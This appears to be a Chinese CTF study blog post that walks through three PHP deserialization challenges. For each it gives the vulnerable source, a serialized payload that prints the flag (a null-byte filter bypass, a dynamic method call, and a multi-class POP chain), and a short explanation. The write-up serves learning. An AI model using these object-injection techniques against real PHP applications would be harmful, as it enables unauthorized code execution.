end的学习反序列化4

1,

<?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
        $this->a = "givemeflag";
    }
    function __destruct() {
        global $flag;
        if ($this->a === "givemeflag") {
            echo $flag;
        }
    }
}
 
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {//以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常。
        die("hacker!");
    }
}
unserialize($a);
} else {
    show_source(__FILE__);
}
?> 

payload:?tryhackme=O:5:“funny”:1:{S:8:"\00funny\00a";s:10:“givemeflag”;}

此处如果使用小写s并使用%00就会在payload被urldecode后被检测拦截 故使用大写S进行hex code后使用\00进行绕过处理

这样%00就会被转义进而符合要求

2,

<?php
include "flag6.php";
ini_set('display_errors',true);
error_reporting(E_ALL | E_STRICT); 
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
 
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
    show_source(__FILE__);
}
?>

php动态执行函数的能力,即使用变量名后加括号的方式来对函数进行调用。这道题其实是让$a为funny.pyflag

payload:?tryhackme=a:2:{i:0;O:5:“funny”:0:{}i:1;s:6:“pyflag”;}

php动态执行函数的能力

1. 定义一个函数
2. 将函数名(字符串)赋值给一个变量
3. 使用变量名代替函数名动态调用函数
例:
<?php
 function addition ($a, $b){
   echo ($a + $b), "\n";
 }
 $result = "addition";
 $result (3,6);
?>
 $this在OOP中就是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this中并没有,哪个对象调用,$this就代表哪个对象。)
同时,也可以将$this理解为对象的引用,$this通过引用的形式访问一个对象的方法和属性

3,

<?php
 
class a {
    public $object;
 
    public function resolve() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "system" && $prev === "ls") {
                echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
                global $flag;
                echo $flag;
            }
        });
    }
 
    public function __destruct() {
        @$this->object->add();
    }
 
    public function __toString() {
        return $this->object->string;
    }
}
 
class b {
    protected $filename;
 
    protected function addMe() {
        return "Add Failed. Filename:".$this->filename;
    }
 
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
 
class c {
    private $string;
 
    public function __construct($string) {
        $this->string = $string;
    }
 
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
 
if (isset($_GET["tryhackme"])) {
    unserialize($_GET['tryhackme']);
} else {
    highlight_file(__FILE__);
}

paylopad:?tryhackme=O:1:“a”:1:{s:6:“object”;O:1:“b”:1:{s:11:"%00*%00filename";O:1:“a”:1:{s:6:“object”;O:1:“c”:1:{s:9:"%00c%00string";a:1:{s:6:“string”;a:2:{i:0;O:1:“a”:2:{s:6:“object”;N;s:2:“ls”;a:1:{i:0;s:6:“system”;}}i:1;s:7:“resolve”;}}}}}}

这题入手稍加分析,就知道想要拿到flag利用的链条必然是利用以destruct为链首的pop链通过a->b->a->c->a利用c中的那个奇怪的array()调用类a中的resolve方法,或者说成员函数,利用a被摧毁时的add调用,b中的return字符串调用a中的toString这样把整个链条串起来,这样链条就贯通了,我说的三个点便是串起链条的节点。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值